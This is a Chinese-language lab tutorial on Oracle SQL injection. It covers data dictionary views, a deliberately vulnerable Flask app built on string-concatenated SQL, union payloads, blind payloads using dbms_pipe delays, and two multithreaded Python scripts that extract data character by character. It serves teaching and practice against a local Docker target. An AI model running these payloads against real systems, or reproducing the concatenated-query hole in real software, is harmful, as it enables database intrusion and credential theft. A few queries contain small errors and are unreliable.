这个HR也可以代表一个schema，在对HR创建一张表employees的话这张表的完整名称可以是HR.employees，另外Oracle默认会把未加双引号的对象名转成大写

Oracle没有information_schema也没有sqlite_master，它用的是数据字典视图，最常见的是：

USER_*
# 表示当前用户自己拥有的对象
例如：SELECT table_name FROM user_tables;
Oracle官方文档说明，USER_TABLES描述的是当前用户拥有的关系表，而且它的列与ALL_TABLES基本相同，只是不显示OWNER列
常见视图：
USER_TABLES
USER_TAB_COLUMNS
USER_OBJECTS
USER_VIEWS
USER_SEQUENCES

ALL_*
# 表示当前用户有权限访问的对象
例如：SELECT owner, table_name FROM all_tables;
Oracle官方文档说明，ALL_TABLES描述的是当前用户可访问的关系表；相关视图中，USER_TABLES描述当前用户拥有的表，DBA_TABLES描述数据库中所有的关系表
常见视图：
ALL_TABLES
ALL_TAB_COLUMNS
ALL_OBJECTS
ALL_VIEWS

DBA_*
# 表示数据库管理员视角下的所有对象
例如：SELECT owner, table_name FROM dba_tables;
但普通用户通常没有权限查DBA_*，Oracle官方文档说明，DBA_TABLES描述数据库中所有的关系表

V$* 动态性能视图
例如：
V$VERSION
V$DATABASE
V$SESSION
V$INSTANCE
这类视图通常和数据库运行状态，会话，实例信息有关，普通用户不一定有权限访问

Oracle中很特殊的一点是很多select常量或函数时必须要FROM DUAL

1
2
3

SELECT 1 FROM dual;
SELECT USER FROM dual;
SELECT SYSDATA FROM dual;

Oracle官方文档说明，DUAL是Oracle自动创建的数据字典表，位于sys schema，但所有用户都可以通过DUAL访问，他只有一行，因此常用于select计算常量表达式

核心数据视图与字段名

all_tables
# 查表名
核心字段：
owner
# 表的所有者，相当于其他数据库的schema或database概念，在oracle中通常一个用户就对应一个schema
table_name
# 表名

all_tab_columns
# 查列名
核心字段：
owner
# 表的所有者
table_name
# 表名
column_name
# 列名
data_type
# 数据类型（如varchar2,number）

all_objects
# 查全局对象，在oracle中，表、视图、索引、存储过程等都被统称为对象，当无法访问al_tables或想查看存储过程时可以查all_objects
核心字段：
owner
# 对象所有者
object_name
# 对象名称（表名、视图名等）
object_type
# 对象类型（'table'、'view'、'procedure'）

查环境与用户信息：

V$VERSION
# 版本信息
核心字段：
banner
# 包含详细版本信息的长字符串
select banner from v$version

GLOBAL_NAME
# 当前数据库名
核心字段：
GLOBAL_NAME
select global_name from global_name

ALL_USERS
# 查所有用户
核心字段：
username
select username from global_name

SYS.USER$或DBA_USERS
# 查密码哈希
oracle对密码哈希的保护极其严格，在早期版本（10g及以前），密码哈希存在dba_users.password中，在11g及以后转移到了更底层的sys.user$password或spare4中，普通人极难获取到

本地靶场搭建

docker run -d --name oracle-lab -p 1521:1521 -e ORACLE_PASSWORD=root gvenzl/oracle-xe:slim
# 拉取并运行Oracle 11g或21c的精简版
python3 -m pip install flask oracledb
# 准备python环境

创建一个文件夹在里面创建一个app.py文件，粘贴以下内容：

import oracledb
from flask import Flask, request

app = Flask(__name__)

# Oracle 数据库连接配置 (gvenzl 镜像默认的可插拔数据库名为 XEPDB1)
# 用户名使用自带的 system 管理员
DB_USER = "system"
DB_PASS = "root"
DB_DSN = "localhost:1521/XEPDB1"

def get_db_connection():
    return oracledb.connect(user=DB_USER, password=DB_PASS, dsn=DB_DSN)

def init_db():
    try:
        conn = get_db_connection()
        cursor = conn.cursor()
        
        # 尝试创建测试表。Oracle 没有 IF NOT EXISTS 语法，因此如果表已存在会报错，我们用 try-except 忽略它
        try:
            cursor.execute("""
                CREATE TABLE vuln_users (
                    id NUMBER GENERATED BY DEFAULT AS IDENTITY PRIMARY KEY,
                    username VARCHAR2(50),
                    password VARCHAR2(50)
                )
            """)
            
            # 插入测试数据
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('admin', 'oracle_admin_pass')")
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('guest', '123456')")
            cursor.execute("INSERT INTO vuln_users (username, password) VALUES ('flag', 'ZLARYY{O3acIe_15_s0_3@sy!!!}')")
            conn.commit()
            print("[+] Database initialized successfully.")
        except oracledb.DatabaseError as e:
            error, = e.args
            # ORA-00955: 名称已由现有对象使用 (说明表已经建好了)
            if error.code == 955:
                pass
            else:
                raise
    finally:
        cursor.close()
        conn.close()

@app.route('/user')
def get_user():
    username = request.args.get('name')
    
    if not username:
        return "Please provide a name, e.g., ?name=admin"

    conn = get_db_connection()
    cursor = conn.cursor()

    # ⚠️ 经典的漏洞点：拼接 SQL 语句。注意 Oracle 严格区分大小写且常用单引号
    query = f"SELECT id, username, password FROM vuln_users WHERE username = '{username}'"
    
    try:
        cursor.execute(query)
        result = cursor.fetchall()
        return f"<h3>Executed Query:</h3><code>{query}</code><hr><h3>Result:</h3><p>{result}</p>"
    except Exception as e:
        # 打印数据库真实报错，这在 Oracle 中是进行“报错注入”的关键
        return f"<h3>Database Error:</h3><p>{str(e)}</p>"
    finally:
        cursor.close()
        conn.close()

if __name__ == '__main__':
    # 等待 Docker 启动完毕后运行此脚本
    init_db()
    app.run(debug=True, port=5002)

然后通过下面的命令运行web应用：

1	python3 app.py

如果访问http://localhost:5002/user?name=admin能看到oracle_admin_pass就成功了

{% asset_img 35.png 35 %}

union联合注入

Oracle依然可以用order by判断列数

1	?name=admin' order by 3 --+

{% asset_img 36.png 36 %}

也可以使用union试：

1
2
3

?name=admin' UNION SELECT NULL FROM dual --+
?name=admin' UNION SELECT NULL,NULL FROM dual --+
?name=admin' UNION SELECT NULL,NULL,NULL FROM dual --+

查询当前用户：

1	?name=a' union select null,user,null from dual --+

{% asset_img 37.png 37 %}

确认当前会话上下文：

1	?name=a' union select null,sys_context('userenv','current_schema'),null from dual --+

{% asset_img 38.png 38 %}

SYS_CONTEXT可以读取当前会话上下文信息，比如userenv里面的schema等信息，查到这两个内容都是SYSTEM说明当前连接用户和默认schema都是SYSTEM，SYSTEM是高权限内置管理用户

查所有的的表：

1	?name=a' union select null,table_name,null from all_tables --+

{% asset_img 39.png 39 %}

查当前用户自己拥有的表：

1	?name=a' union select null,table_name,null from user_tables --+

{% asset_img 40.png 40 %}

查当前用户可访问的表：

1	?name=a' union select NULL,table_name,owner from all_tables --+

{% asset_img 41.png 41 %}

这样显示的表特别多的话可以试试：

1	?name=a' union select NULL,table_name,owner from all_tables where owner in ('SYSTEM')--+

只查询SYSTEM下可访问的表，在本靶场中表名叫做vuln_users

接着继续查字段名：

1	?name=a' union select NULL,column_name,NULL from all_tab_columns --+

{% asset_img 42.png 42 %}

同样可以利用下列字段进行过滤：

1	?name=a' union select NULL,column_name,owner from all_tab_columns where owner in ('SYSTEM')--+

我们之前提到过没有加双引号的都会自动转成大写，所以我们的表名列名也是转为大写了的：

1	?name=a' union select NULL,column_name,NULL from user_tab_columns where table_name='vuln_users' --+

{% asset_img 43.png 43 %}

用rowname限制行数和not in语句限制查询内容：

1	?name=a' union select ID,USERNAME,PASSWORD from VULN_USERS where rownum=1 and USERNAME not in ('admin','guest')--

{% asset_img 44.png 44 %}

时间盲注

利用的原理还是那个逻辑只不过就是换换函数：

1	?name=admin' and 1=(case when substr((select user from dual),1,1)='S' then dbms_pipe.receive_message('p',5) else 1 end) --+

{% asset_img 45.png 45 %}

脚本如下：

import requests
import threading
import time

url = "http://localhost:5002/user"

target="select user from dual"

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"

max_threads=10

result=""

threshold=3

for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and 1=(case when substr(({target}),{position},1)='{ch}' then dbms_pipe.receive_message('p',5) else 1 end) -- "

        start=time.perf_counter()
        try:
            response=requests.get(url,params={"name":payload})
            end=time.perf_counter()

            cost=end-start

            if cost>threshold:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

{% asset_img 47.png 47 %}

布尔盲注

1	?name=admin' and substr((select user from dual),1,1)='S' --+

{% asset_img 46.png 46 %}

我们利用真页面返回oracle来写布尔盲注：

import requests
import threading

url="http://localhost:5002/user"

target="select user from dual"

max_threads=10

result=""

char="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_{}~!@#$%^&*()+[]?"
for position in range(1,101):
    found={
        "char":None
    }

    lock=threading.Lock()
    stop_event=threading.Event()

    def test_char(ch):
        if stop_event.is_set():
            return
        
        payload=f"admin' and substr(({target}),{position},1)='{ch}' -- "
        try:
            response=requests.get(url,params={"name":payload})
            if 'oracle' in response.text:
                with lock:
                    if found["char"] is None:
                        found["char"]=ch
                        stop_event.set()
        except requests.RequestException:
            pass

    threads=[]

    for ch in char:
        t=threading.Thread(target=test_char,args=(ch,))
        threads.append(t)
        t.start()

        if len(threads)>=max_threads:
            for t in threads:
                t.join()

            threads=[]

            if stop_event.is_set():
                break

    for t in threads:
        t.join()

    if found["char"] is not None:
        result+=found["char"]
        print(result)
    else:
        print("请求结束")
        break
print(result)

{% asset_img 48.png 48 %}

其他系统库类型下的SQL注入

数据库结构

MySQL

PostgreSQL

数据库架构以及核心字段名

本地搭建靶场测试

注入相关符号与函数

union联合注入

报错注入

类型转换错误

布尔盲注

时间盲注

脚本探测

SQLite

数据库架构以及核心字段名

本地搭建靶场测试

注入相关符号和函数

union联合注入

布尔盲注

伪时间盲注

SQL写马

Oracle

数据库架构以及核心字段名

本地靶场搭建

相关注释符和函数

union联合注入

时间盲注

布尔盲注